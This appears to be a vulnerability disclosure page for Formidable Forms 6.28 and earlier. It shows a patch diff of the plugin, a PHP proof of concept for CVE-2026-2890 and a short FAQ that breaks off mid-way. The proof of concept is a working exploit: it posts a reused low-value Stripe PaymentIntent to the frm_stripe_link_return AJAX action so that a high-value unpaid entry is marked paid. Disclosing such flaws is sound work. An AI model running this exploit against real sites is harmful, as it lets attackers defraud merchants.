@@ -93,7 +93,7 @@
$this->active_field_size = self::get_size_of_class( $this->field_layout_class );
}
- if ( 'divider' !== $field->type || ! empty( $this->nested ) ) {
+ if ( 'divider' !== $field->type || $this->nested ) {
return;
}
@@ -106,7 +106,7 @@
* @return void
*/
private function maybe_close_section_helper() {
- if ( empty( $this->section_helper ) ) {
+ if ( ! $this->section_helper ) {
return;
}
$this->section_helper->force_close_field_wrapper();
@@ -148,7 +148,7 @@
$this->begin_field_wrapper();
}
- if ( ! empty( $this->section_helper ) && $this->section_is_open ) {
+ if ( $this->section_helper && $this->section_is_open ) {
$this->section_helper->maybe_begin_field_wrapper();
}
}
@@ -157,7 +157,7 @@
* @return bool
*/
private function should_first_close_the_active_field_wrapper() {
- if ( false === $this->parent_li || ! empty( $this->section_helper ) ) {
+ if ( false === $this->parent_li || $this->section_helper ) {
return false;
}
@@ -215,7 +215,7 @@
* @return void
*/
public function sync_list_size() {
- if ( empty( $this->field ) ) {
+ if ( ! $this->field ) {
return;
}
@@ -223,7 +223,7 @@
$this->section_is_open = true;
}
- if ( ! empty( $this->section_helper ) ) {
+ if ( $this->section_helper ) {
$this->section_helper->sync_list_size();
if ( 'end_divider' === $this->field->type ) {
--- a/formidable/classes/helpers/FrmFieldsHelper.php
+++ b/formidable/classes/helpers/FrmFieldsHelper.php
@@ -1825,16 +1825,18 @@
}
foreach ( $val as $k => $v ) {
- if ( is_string( $v ) ) {
- if ( 'custom_html' === $k ) {
- $val[ $k ] = self::switch_ids_except_strings( $replace, $replace_with, array( '[if description]', '[description]', '[/if description]' ), $v );
- unset( $k, $v );
- continue;
- }
+ if ( ! is_string( $v ) ) {
+ continue;
+ }
- $val[ $k ] = str_replace( $replace, $replace_with, $v );
+ if ( 'custom_html' === $k ) {
+ $val[ $k ] = self::switch_ids_except_strings( $replace, $replace_with, array( '[if description]', '[description]', '[/if description]' ), $v );
unset( $k, $v );
+ continue;
}
+
+ $val[ $k ] = str_replace( $replace, $replace_with, $v );
+ unset( $k, $v );
}
return $val;
@@ -2381,32 +2383,20 @@
}
// If the individual field isn't allowed, disable it.
- $run_filter = true;
- $single_no_allow = ' ';
- $install_data = '';
- $requires = '';
- $link = isset( $field_type['link'] ) ? esc_url_raw( $field_type['link'] ) : '';
- $has_show_upgrade_class = isset( $field_type['icon'] ) && str_contains( $field_type['icon'], ' frm_show_upgrade' );
- $show_upgrade = $has_show_upgrade_class || str_contains( $args['no_allow_class'], 'frm_show_upgrade' );
-
- if ( $has_show_upgrade_class ) {
- $single_no_allow .= 'frm_show_upgrade';
- $field_type['icon'] = str_replace( ' frm_show_upgrade', '', $field_type['icon'] );
- $run_filter = false;
-
- if ( isset( $field_type['addon'] ) ) {
- $upgrading = FrmAddonsController::install_link( $field_type['addon'] );
-
- if ( isset( $upgrading['url'] ) ) {
- $install_data = json_encode( $upgrading );
- }
+ $link = isset( $field_type['link'] ) ? esc_url_raw( $field_type['link'] ) : '';
- $requires = FrmFormsHelper::get_plan_required( $upgrading );
- } elseif ( isset( $field_type['require'] ) ) {
- $requires = $field_type['require'];
- }
- }
+ list(
+ $run_filter,
+ $single_no_allow,
+ $install_data,
+ $requires,
+ $has_show_upgrade_class,
+ $has_show_update_class,
+ $upgrading,
+ $update_addon_name
+ ) = self::get_field_upgrade_state( $field_type );
+ $show_upgrade = $has_show_upgrade_class || $has_show_update_class || str_contains( $args['no_allow_class'], 'frm_show_upgrade' );
$upgrade_label = '';
$upgrade_message = '';
@@ -2450,7 +2440,14 @@
);
}
- if ( isset( $upgrading['url'] ) ) {
+ if ( $has_show_update_class ) {
+ $li_params['data-message'] = sprintf(
+ // translators: %1$s: Add-on name, %2$s: Field type name.
+ esc_html__( 'You need a newer version of %1$s for %2$s fields.', 'formidable' ),
+ $update_addon_name,
+ $field_name
+ );
+ } elseif ( isset( $upgrading['url'] ) ) {
$li_params['data-message'] = sprintf(
// translators: %s: Field name
esc_html__( 'You already have access to %s fields, you'll just need to activate to start using them.', 'formidable' ),
@@ -2475,6 +2472,76 @@
}
/**
+ * Parse the upgrade and update flags from a field type's icon class.
+ *
+ * @since 6.29
+ *
+ * @param array $field_type Field type configuration, modified in place to strip icon flag classes.
+ *
+ * @return array Upgrade and update state values for the field button, in positional order.
+ */
+ private static function get_field_upgrade_state( &$field_type ) {
+ $single_no_allow = ' ';
+ $run_filter = true;
+ $has_show_upgrade_class = false;
+ $has_show_update_class = false;
+ $install_data = '';
+ $requires = '';
+ $upgrading = array();
+ $update_addon_name = '';
+
+ if ( isset( $field_type['icon'] ) ) {
+ $has_show_upgrade_class = str_contains( $field_type['icon'], ' frm_show_upgrade' );
+ $has_show_update_class = str_contains( $field_type['icon'], ' frm_show_update' );
+ }
+
+ if ( $has_show_upgrade_class ) {
+ $single_no_allow .= 'frm_show_upgrade';
+ $field_type['icon'] = str_replace( ' frm_show_upgrade', '', $field_type['icon'] );
+ $run_filter = false;
+
+ if ( isset( $field_type['addon'] ) ) {
+ $upgrading = FrmAddonsController::install_link( $field_type['addon'] );
+
+ if ( isset( $upgrading['url'] ) ) {
+ $install_data = json_encode( $upgrading );
+ }
+
+ $requires = FrmFormsHelper::get_plan_required( $upgrading );
+ } elseif ( isset( $field_type['require'] ) ) {
+ $requires = $field_type['require'];
+ }
+ }
+
+ if ( $has_show_update_class ) {
+ $single_no_allow .= ' frm_show_update';
+ $field_type['icon'] = str_replace( ' frm_show_update', '', $field_type['icon'] );
+ $run_filter = false;
+ $addon_slug = $field_type['addon'] ?? 'pro';
+
+ if ( 'pro' === $addon_slug ) {
+ $update_addon_name = __( 'Formidable Pro', 'formidable' );
+ } else {
+ $addon_data = FrmAddonsController::get_addon( $addon_slug );
+ $update_addon_name = $addon_data && ! empty( $addon_data['title'] ) ? $addon_data['title'] : ucfirst( $addon_slug );
+ }
+
+ $install_data = FrmAddonsController::get_update_install_data( $addon_slug );
+ }
+
+ return array(
+ $run_filter,
+ $single_no_allow,
+ $install_data,
+ $requires,
+ $has_show_upgrade_class,
+ $has_show_update_class,
+ $upgrading,
+ $update_addon_name,
+ );
+ }
+
+ /**
* Updates the params with limit data (the data-limit attribute, and possibly the frm_at_limit class).
* Some field types are limited to a certain number per form, including coupon fields.
*
@@ -2761,14 +2828,14 @@
if ( in_array( FrmAddonsController::license_type(), array( 'elite', 'business' ), true ) && 'active' === $data['plugin-status'] ) {
// Backwards compatibility "@since 6.24".
- if ( ! method_exists( 'FrmAIAppController', 'get_ai_generated_options_summary' ) ) {
+ if ( method_exists( 'FrmAIAppController', 'get_ai_generated_options_summary' ) ) {
+ $attributes['class'] .= ' frm-ai-generate-options-modal-trigger';
+ $attributes['data-fid'] = $args['likert_id'] ?? $args['field']['id'];
+ } else {
$data = array(
'modal-title' => __( 'Generate options with AI', 'formidable' ),
'modal-content' => __( 'Update the Formidable AI add-on to the last version to use this feature.', 'formidable' ),
);
- } else {
- $attributes['class'] .= ' frm-ai-generate-options-modal-trigger';
- $attributes['data-fid'] = $args['likert_id'] ?? $args['field']['id'];
}
}
--- a/formidable/classes/helpers/FrmFormMigratorsHelper.php
+++ b/formidable/classes/helpers/FrmFormMigratorsHelper.php
@@ -28,11 +28,12 @@
foreach ( $forms as $form ) {
if ( ! self::is_dismissed( $form ) ) {
self::install_banner( $form );
- } else {
- echo '<span>';
- self::install_button( $form, 'auto' );
- echo '</span>';
+ continue;
}
+
+ echo '<span>';
+ self::install_button( $form, 'auto' );
+ echo '</span>';
}
}
@@ -156,7 +157,7 @@
// phpcs:disable Generic.WhiteSpace.ScopeIndent
if ( $install['installed'] ) {
?>
- <a rel="<?php echo esc_attr( $install['importer'] ); ?>" class="button frm-activate-addon <?php echo esc_attr( $primary . ( empty( $install['link'] ) ? 'frm_hidden' : '' ) ); ?>"><?php // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong ?>
+ <a rel="<?php echo esc_attr( $install['importer'] ); ?>" class="button frm-activate-addon <?php echo esc_attr( $primary . ( ! empty( $install['link'] ) ? '' : 'frm_hidden' ) ); ?>"><?php // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong ?>
<?php
if ( $label === 'auto' ) {
/* translators: %s: Name of the plugin */
--- a/formidable/classes/helpers/FrmFormsHelper.php
+++ b/formidable/classes/helpers/FrmFormsHelper.php
@@ -716,7 +716,7 @@
echo esc_html( $truncated_name );
?>
- <span>[<?php echo esc_attr( $args['id_label'] ?? $args['id'] ); ?>]</span>
+ <span>[<?php echo esc_html( $args['id_label'] ?? $args['id'] ); ?>]</span>
</a>
<a href="javascript:void(0)" class="frmkeys frm_insert_code frm_hidden" data-code="<?php echo esc_attr( $args['key'] ); ?>">
<?php
@@ -726,7 +726,7 @@
echo esc_html( $truncated_name );
?>
- <span>[<?php echo esc_attr( FrmAppHelper::truncate( $args['key_label'] ?? $args['key'], 7 ) ); ?>]</span>
+ <span>[<?php echo esc_html( FrmAppHelper::truncate( $args['key_label'] ?? $args['key'], 7 ) ); ?>]</span>
</a>
</li>
<?php
@@ -772,9 +772,9 @@
<a href="javascript:void(0)" class="frm_insert_code <?php echo $has_tooltip ? 'frm_help' : ''; ?>"
<?php echo $has_tooltip ? 'title="' . esc_attr( $args['title'] ) . '"' : ''; ?>
data-code="<?php echo esc_attr( $args['code'] ); ?>">
- <?php echo esc_attr( FrmAppHelper::truncate( $args['label'], 60 ) ); ?>
+ <?php echo esc_html( FrmAppHelper::truncate( $args['label'], 60 ) ); ?>
<span>
- [<?php echo esc_attr( FrmAppHelper::truncate( $args['code'], 10 ) ); ?>]
+ [<?php echo esc_html( FrmAppHelper::truncate( $args['code'], 10 ) ); ?>]
</span>
</a>
</li>
@@ -1142,11 +1142,11 @@
public static function show_errors( $args ) {
$invalid_msg = self::get_invalid_error_message( $args );
- if ( ! $invalid_msg ) {
- $show_img = false;
- } else {
+ if ( $invalid_msg ) {
echo wp_kses_post( $invalid_msg );
$show_img = true;
+ } else {
+ $show_img = false;
}
self::show_error(
@@ -2075,7 +2075,18 @@
return true;
}
- return self::is_formidable_api_form() || self::is_gutenberg_editor() || self::is_elementor_ajax() || self::is_visual_views_preview();
+ return self::is_formidable_api_form() || self::is_block_or_page_builder_preview();
+ }
+
+ /**
+ * Checks if the form is rendered inside a block editor or page builder preview.
+ *
+ * @since 6.29
+ *
+ * @return bool
+ */
+ public static function is_block_or_page_builder_preview() {
+ return self::is_gutenberg_editor() || self::is_elementor_ajax() || self::is_visual_views_preview();
}
/**
--- a/formidable/classes/helpers/FrmListHelper.php
+++ b/formidable/classes/helpers/FrmListHelper.php
@@ -305,10 +305,12 @@
* @return void
*/
private function hidden_search_inputs( $param_name ) {
- if ( ! empty( $_REQUEST[ $param_name ] ) ) {
- $value = sanitize_text_field( wp_unslash( $_REQUEST[ $param_name ] ) );
- echo '<input type="hidden" name="' . esc_attr( $param_name ) . '" value="' . esc_attr( $value ) . '" />';
+ if ( empty( $_REQUEST[ $param_name ] ) ) {
+ return;
}
+
+ $value = sanitize_text_field( wp_unslash( $_REQUEST[ $param_name ] ) );
+ echo '<input type="hidden" name="' . esc_attr( $param_name ) . '" value="' . esc_attr( $value ) . '" />';
}
/**
@@ -400,7 +402,7 @@
$two = '2';
}//end if
- if ( empty( $this->_actions ) ) {
+ if ( ! $this->_actions ) {
return;
}
@@ -541,8 +543,7 @@
foreach ( $this->modes as $mode => $title ) {
$classes = array( 'view-' . $mode );
- // phpcs:ignore Universal.Operators.StrictComparisons
- if ( $current_mode == $mode ) {
+ if ( $current_mode === $mode ) {
$classes[] = 'current';
}
@@ -617,7 +618,7 @@
* @param string $which
*/
protected function pagination( $which ) {
- if ( empty( $this->_pagination_args ) ) {
+ if ( ! $this->_pagination_args ) {
return;
}
--- a/formidable/classes/helpers/FrmShortcodeHelper.php
+++ b/formidable/classes/helpers/FrmShortcodeHelper.php
@@ -24,11 +24,7 @@
$atts = shortcode_parse_atts( $text );
}
- if ( ! is_array( $atts ) ) {
- return array();
- }
-
- return $atts;
+ return is_array( $atts ) ? $atts : array();
}
/**
--- a/formidable/classes/helpers/FrmStylesHelper.php
+++ b/formidable/classes/helpers/FrmStylesHelper.php
@@ -684,14 +684,14 @@
//phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Missing
$posted = wp_unslash( $_POST['frm_style_setting'] );
- if ( ! is_array( $posted ) ) {
+ if ( is_array( $posted ) ) {
+ $settings = $frm_style->sanitize_post_content( $posted['post_content'] );
+ $style_name = FrmAppHelper::get_post_param( 'style_name', '', 'sanitize_title' );
+ } else {
$posted = json_decode( $posted, true );
FrmAppHelper::format_form_data( $posted );
$settings = $frm_style->sanitize_post_content( $posted['frm_style_setting']['post_content'] );
$style_name = sanitize_title( $posted['style_name'] );
- } else {
- $settings = $frm_style->sanitize_post_content( $posted['post_content'] );
- $style_name = FrmAppHelper::get_post_param( 'style_name', '', 'sanitize_title' );
}
} else {
$settings = $frm_style->sanitize_post_content( wp_unslash( $_GET ) );
--- a/formidable/classes/helpers/FrmTipsHelper.php
+++ b/formidable/classes/helpers/FrmTipsHelper.php
@@ -59,7 +59,7 @@
$link = self::get_tip_link( $tip );
// phpcs:disable Generic.WhiteSpace.ScopeIndent
?>
- <a href="<?php echo esc_url( $link ); ?>" <?php echo empty( $tip['link'] ) ? '' : 'target="_blank"'; ?> class="frm_pro_tip frm-gradient">
+ <a href="<?php echo esc_url( $link ); ?>" <?php echo ! empty( $tip['link'] ) ? 'target="_blank"' : ''; ?> class="frm_pro_tip frm-gradient">
<span class="frm-tip-badge"><?php esc_html_e( 'PRO TIP', 'formidable' ); ?></span>
<?php if ( isset( $tip['call'] ) ) { ?>
--- a/formidable/classes/helpers/FrmXMLHelper.php
+++ b/formidable/classes/helpers/FrmXMLHelper.php
@@ -133,11 +133,13 @@
foreach ( array( 'term', 'form', 'view' ) as $item_type ) {
// Grab cats, tags, and terms, or forms or posts.
- if ( isset( $xml->{$item_type} ) ) {
- $function_name = 'import_xml_' . $item_type . 's';
- $imported = self::$function_name( $xml->{$item_type}, $imported );
- unset( $function_name, $xml->{$item_type} );
+ if ( ! isset( $xml->{$item_type} ) ) {
+ continue;
}
+
+ $function_name = 'import_xml_' . $item_type . 's';
+ $imported = self::$function_name( $xml->{$item_type}, $imported );
+ unset( $function_name, $xml->{$item_type} );
}
$imported = apply_filters( 'frm_importing_xml', $imported, $xml );
@@ -465,12 +467,14 @@
*/
private static function maybe_update_child_form_parent_id( $imported_forms, $child_forms ) {
foreach ( $child_forms as $child_form_id => $old_parent_form_id ) {
- if ( isset( $imported_forms[ $old_parent_form_id ] ) && (int) $imported_forms[ $old_parent_form_id ] !== (int) $old_parent_form_id ) {
- // Update all children with this old parent_form_id
- $new_parent_form_id = (int) $imported_forms[ $old_parent_form_id ];
- FrmForm::update( $child_form_id, array( 'parent_form_id' => $new_parent_form_id ) );
- do_action( 'frm_update_child_form_parent_id', $child_form_id, $new_parent_form_id );
+ if ( ! isset( $imported_forms[ $old_parent_form_id ] ) || (int) $imported_forms[ $old_parent_form_id ] === (int) $old_parent_form_id ) {
+ continue;
}
+
+ // Update all children with this old parent_form_id
+ $new_parent_form_id = (int) $imported_forms[ $old_parent_form_id ];
+ FrmForm::update( $child_form_id, array( 'parent_form_id' => $new_parent_form_id ) );
+ do_action( 'frm_update_child_form_parent_id', $child_form_id, $new_parent_form_id );
}
}
@@ -1513,13 +1517,15 @@
* @param int $post_id
*/
private static function update_layout( &$post, $post_id ) {
- if ( is_callable( 'FrmViewsLayout::maybe_create_layouts_for_view' ) ) {
- $listing_layout = ! empty( $post['layout']['listing'] ) ? json_decode( $post['layout']['listing'], true ) : array();
- $detail_layout = ! empty( $post['layout']['detail'] ) ? json_decode( $post['layout']['detail'], true ) : array();
+ if ( ! is_callable( 'FrmViewsLayout::maybe_create_layouts_for_view' ) ) {
+ return;
+ }
- if ( $listing_layout || $detail_layout ) {
- FrmViewsLayout::maybe_create_layouts_for_view( $post_id, $listing_layout, $detail_layout );
- }
+ $listing_layout = ! empty( $post['layout']['listing'] ) ? json_decode( $post['layout']['listing'], true ) : array();
+ $detail_layout = ! empty( $post['layout']['detail'] ) ? json_decode( $post['layout']['detail'], true ) : array();
+
+ if ( $listing_layout || $detail_layout ) {
+ FrmViewsLayout::maybe_create_layouts_for_view( $post_id, $listing_layout, $detail_layout );
}
}
@@ -1832,10 +1838,12 @@
}
foreach ( $options as $key => $option ) {
- if ( is_array( $option ) && ! empty( $option['image'] ) ) {
- $options[ $key ]['src'] = wp_get_attachment_url( $option['image'] );
- $updated = true;
+ if ( ! is_array( $option ) || empty( $option['image'] ) ) {
+ continue;
}
+
+ $options[ $key ]['src'] = wp_get_attachment_url( $option['image'] );
+ $updated = true;
}
if ( $updated ) {
--- a/formidable/classes/models/FrmAddon.php
+++ b/formidable/classes/models/FrmAddon.php
@@ -109,11 +109,11 @@
protected $should_clear_cache = true;
public function __construct() {
- if ( empty( $this->plugin_slug ) ) {
+ if ( ! $this->plugin_slug ) {
$this->plugin_slug = preg_replace( '/[^a-zA-Z0-9_s]/', '', str_replace( ' ', '_', strtolower( $this->plugin_name ) ) );
}
- if ( empty( $this->option_name ) ) {
+ if ( ! $this->option_name ) {
$this->option_name = 'edd_' . $this->plugin_slug . '_license_';
}
@@ -480,16 +480,16 @@
public function show_license_message( $file, $plugin ) {
$message = '';
- if ( empty( $this->license ) ) {
- /* translators: %1$s: Plugin name, %2$s: Start link HTML, %3$s: end link HTML */
- $message = sprintf( esc_html__( 'Your %1$s license key is missing. Please add it on the %2$slicenses page%3$s.', 'formidable' ), esc_html( $this->plugin_name ), '<a href="' . esc_url( admin_url( 'admin.php?page=formidable-settings' ) ) . '">', '</a>' ); // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
- } else {
+ if ( $this->license ) {
$api = new FrmFormApi( $this->license );
$errors = $api->error_for_license();
if ( $errors ) {
$message = reset( $errors );
}
+ } else {
+ /* translators: %1$s: Plugin name, %2$s: Start link HTML, %3$s: end link HTML */
+ $message = sprintf( esc_html__( 'Your %1$s license key is missing. Please add it on the %2$slicenses page%3$s.', 'formidable' ), esc_html( $this->plugin_name ), '<a href="' . esc_url( admin_url( 'admin.php?page=formidable-settings' ) ) . '">', '</a>' ); // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
}
if ( ! $message ) {
@@ -632,13 +632,15 @@
* @return void
*/
private function maybe_use_beta_url( &$version_info ) {
- if ( $this->get_beta && ! empty( $version_info->beta ) ) {
- $version_info->new_version = $version_info->beta['version'];
- $version_info->package = $version_info->beta['package'];
+ if ( ! $this->get_beta || empty( $version_info->beta ) ) {
+ return;
+ }
- if ( ! empty( $version_info->plugin ) ) {
- $version_info->plugin = $version_info->beta['plugin'];
- }
+ $version_info->new_version = $version_info->beta['version'];
+ $version_info->package = $version_info->beta['package'];
+
+ if ( ! empty( $version_info->plugin ) ) {
+ $version_info->plugin = $version_info->beta['plugin'];
}
}
@@ -680,7 +682,7 @@
* @return void
*/
private function is_license_revoked() {
- if ( empty( $this->license ) || empty( $this->plugin_slug ) || isset( $_POST['license'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
+ if ( ! $this->license || ! $this->plugin_slug || isset( $_POST['license'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
return;
}
@@ -876,7 +878,7 @@
'error' => true,
);
- if ( empty( $this->license ) ) {
+ if ( ! $this->license ) {
$response['error'] = false;
return $response;
}
--- a/formidable/classes/models/FrmAntiSpam.php
+++ b/formidable/classes/models/FrmAntiSpam.php
@@ -108,7 +108,7 @@
// Two days ago.
2 * DAY_IN_SECONDS,
// One day ago.
- 1 * DAY_IN_SECONDS,
+ DAY_IN_SECONDS,
)
);
@@ -315,10 +315,12 @@
* @return void
*/
private static function clear_wp_super_cache() {
- if ( function_exists( 'wp_cache_clean_cache' ) ) {
- global $file_prefix;
- wp_cache_clean_cache( $file_prefix, true );
+ if ( ! function_exists( 'wp_cache_clean_cache' ) ) {
+ return;
}
+
+ global $file_prefix;
+ wp_cache_clean_cache( $file_prefix, true );
}
/**
--- a/formidable/classes/models/FrmApplicationApi.php
+++ b/formidable/classes/models/FrmApplicationApi.php
@@ -34,6 +34,6 @@
* @return void
*/
protected function set_cache_key() {
- $this->cache_key = 'frm_applications_l' . ( empty( $this->license ) ? '' : md5( $this->license ) );
+ $this->cache_key = 'frm_applications_l' . ( ! empty( $this->license ) ? md5( $this->license ) : '' );
}
}
--- a/formidable/classes/models/FrmCreateFile.php
+++ b/formidable/classes/models/FrmCreateFile.php
@@ -107,14 +107,16 @@
* @return void
*/
public function append_file( $file_content ) {
- if ( $this->has_permission ) {
- if ( file_exists( $this->new_file_path ) ) {
- $existing_content = $this->get_contents();
- $file_content = $existing_content . $file_content;
- }
+ if ( ! $this->has_permission ) {
+ return;
+ }
- $this->create_file( $file_content );
+ if ( file_exists( $this->new_file_path ) ) {
+ $existing_content = $this->get_contents();
+ $file_content = $existing_content . $file_content;
}
+
+ $this->create_file( $file_content );
}
/**
@@ -127,14 +129,16 @@
* @return void
*/
public function combine_files( $file_names ) {
- if ( $this->has_permission ) {
- $content = '';
+ if ( ! $this->has_permission ) {
+ return;
+ }
- foreach ( $file_names as $file_name ) {
- $content .= $this->get_contents( $file_name ) . "n";
- }
- $this->create_file( $content );
+ $content = '';
+
+ foreach ( $file_names as $file_name ) {
+ $content .= $this->get_contents( $file_name ) . "n";
}
+ $this->create_file( $content );
}
/**
@@ -305,7 +309,7 @@
* @return void
*/
private function show_error_message() {
- if ( ! empty( $this->error_message ) ) {
+ if ( $this->error_message ) {
echo '<div class="message">' . esc_html( $this->error_message ) . '</div>';
}
}
--- a/formidable/classes/models/FrmDb.php
+++ b/formidable/classes/models/FrmDb.php
@@ -6,47 +6,6 @@
class FrmDb {
/**
- * The table name for Formidable Fields.
- *
- * @var string
- */
- public $fields;
-
- /**
- * The table name for Formidable Forms.
- *
- * @var string
- */
- public $forms;
-
- /**
- * The table name for Formidable Entries.
- *
- * @var string
- */
- public $entries;
-
- /**
- * The table name for Formidable Entry Metas.
- *
- * @var string
- */
- public $entry_metas;
-
- public function __construct() {
- if ( ! defined( 'ABSPATH' ) ) {
- die( 'You are not allowed to call this page directly.' );
- }
-
- _deprecated_function( __METHOD__, '2.05.06', 'FrmMigrate' );
- global $wpdb;
- $this->fields = $wpdb->prefix . 'frm_fields';
- $this->forms = $wpdb->prefix . 'frm_forms';
- $this->entries = $wpdb->prefix . 'frm_items';
- $this->entry_metas = $wpdb->prefix . 'frm_item_metas';
- }
-
- /**
* Change array into format $wpdb->prepare can use
*
* @param array $args
@@ -773,10 +732,12 @@
* @return void
*/
public static function set_cache( $cache_key, $results, $group = '', $time = 300 ) {
- if ( ! FrmAppHelper::prevent_caching() ) {
- self::add_key_to_group_cache( $cache_key, $group );
- wp_cache_set( $cache_key, $results, $group, $time );
+ if ( FrmAppHelper::prevent_caching() ) {
+ return;
}
+
+ self::add_key_to_group_cache( $cache_key, $group );
+ wp_cache_set( $cache_key, $results, $group, $time );
}
/**
--- a/formidable/classes/models/FrmEmail.php
+++ b/formidable/classes/models/FrmEmail.php
@@ -176,7 +176,7 @@
$this->to = array_unique( (array) $to );
- if ( empty( $this->to ) ) {
+ if ( ! $this->to ) {
return;
}
@@ -511,7 +511,7 @@
* @return bool
*/
private function has_recipients() {
- return ! ( empty( $this->to ) && empty( $this->cc ) && empty( $this->bcc ) );
+ return $this->to || $this->cc || $this->bcc;
}
/**
@@ -586,11 +586,11 @@
private function package_header() {
$header = array();
- if ( ! empty( $this->cc ) ) {
+ if ( $this->cc ) {
$header[] = 'CC: ' . implode( ',', $this->cc );
}
- if ( ! empty( $this->bcc ) ) {
+ if ( $this->bcc ) {
$header[] = 'BCC: ' . implode( ',', $this->bcc );
}
--- a/formidable/classes/models/FrmEntryFormatter.php
+++ b/formidable/classes/models/FrmEntryFormatter.php
@@ -789,16 +789,18 @@
* @return void
*/
protected function add_user_info_to_html_table( &$content ) {
- if ( $this->include_user_info ) {
- foreach ( $this->entry_values->get_user_info() as $user_info ) {
- $value_args = array(
- 'label' => $user_info['label'],
- 'value' => $user_info['value'],
- 'field_type' => 'none',
- );
+ if ( ! $this->include_user_info ) {
+ return;
+ }
+
+ foreach ( $this->entry_values->get_user_info() as $user_info ) {
+ $value_args = array(
+ 'label' => $user_info['label'],
+ 'value' => $user_info['value'],
+ 'field_type' => 'none',
+ );
- $this->add_html_row( $value_args, $content );
- }
+ $this->add_html_row( $value_args, $content );
}
}
@@ -812,10 +814,12 @@
* @return void
*/
protected function add_user_info_to_plain_text_content( &$content ) {
- if ( $this->include_user_info ) {
- foreach ( $this->entry_values->get_user_info() as $user_info ) {
- $this->add_plain_text_row( $user_info['label'], $user_info['value'], $content );
- }
+ if ( ! $this->include_user_info ) {
+ return;
+ }
+
+ foreach ( $this->entry_values->get_user_info() as $user_info ) {
+ $this->add_plain_text_row( $user_info['label'], $user_info['value'], $content );
}
}
--- a/formidable/classes/models/FrmEntryShortcodeFormatter.php
+++ b/formidable/classes/models/FrmEntryShortcodeFormatter.php
@@ -78,7 +78,7 @@
$this->init_form_id( $form_id );
$this->init_fields();
- if ( empty( $this->fields ) ) {
+ if ( ! $this->fields ) {
return;
}
@@ -165,7 +165,7 @@
* @return array|string
*/
public function content() {
- if ( ! $this->form_id || empty( $this->fields ) ) {
+ if ( ! $this->form_id || ! $this->fields ) {
return '';
}
--- a/formidable/classes/models/FrmEntryValidate.php
+++ b/formidable/classes/models/FrmEntryValidate.php
@@ -91,11 +91,13 @@
*/
private static function set_item_key( &$values ) {
// phpcs:ignore Universal.Operators.StrictComparisons
- if ( ! isset( $values['item_key'] ) || $values['item_key'] == '' ) {
- global $wpdb;
- $values['item_key'] = FrmAppHelper::get_unique_key( '', $wpdb->prefix . 'frm_items', 'item_key' );
- $_POST['item_key'] = $values['item_key'];
+ if ( isset( $values['item_key'] ) && $values['item_key'] != '' ) {
+ return;
}
+
+ global $w
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2890 - Formidable Forms <= 6.28 - Missing Authorization to Unauthenticated Payment Integrity Bypass via PaymentIntent Reuse
<?php
$target_url = 'https://vulnerable-site.com';
// Step 1: Attacker obtains a completed low-value PaymentIntent (e.g., $1) from a legitimate transaction.
// This could be intercepted via MITM, leaked logs, or by making a test purchase.
$stripe_payment_intent_id = 'pi_1234567890_lowvalue';
$stripe_client_secret = 'pi_1234567890_secret_abcdef';
// Step 2: Identify a high-value pending payment entry ID.
// This could be enumerated or guessed. Often entry IDs are sequential.
$target_payment_entry_id = 123;
// Step 3: Craft the exploit request to the vulnerable AJAX endpoint.
// The endpoint does not require authentication or a nonce.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'frm_stripe_link_return',
'payment_intent' => $stripe_payment_intent_id,
'payment_intent_client_secret' => $stripe_client_secret,
'entry_id' => $target_payment_entry_id // This ties the reused intent to a different, higher-value payment.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only
// Step 4: Send the request. A successful response will mark the high-value payment as complete.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A response containing 'success' or redirect parameters indicates likely success.
?>
Frequently Asked Questions
What is CVE-2026-2890?
Understanding the vulnerabilityCVE-2026-2890 is a high-severity vulnerability in the Formidable Forms plugin for WordPress, affecting versions up to and including 6.28. It allows unauthenticated attackers to bypass payment integrity checks by reusing PaymentIntents from low-value transactions to mark high-value payments as complete.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the Stripe Link return handler, which fails to validate that the charged amount of a PaymentIntent matches the expected payment amount. An attacker can reuse a valid PaymentIntent client secret from a completed low-value payment to falsely complete a high-value payment.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the Formidable Forms plugin version 6.28 or earlier is at risk. Site administrators should check their plugin version to determine if they need to take action.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the Formidable Forms plugin installed. If it is version 6.28 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
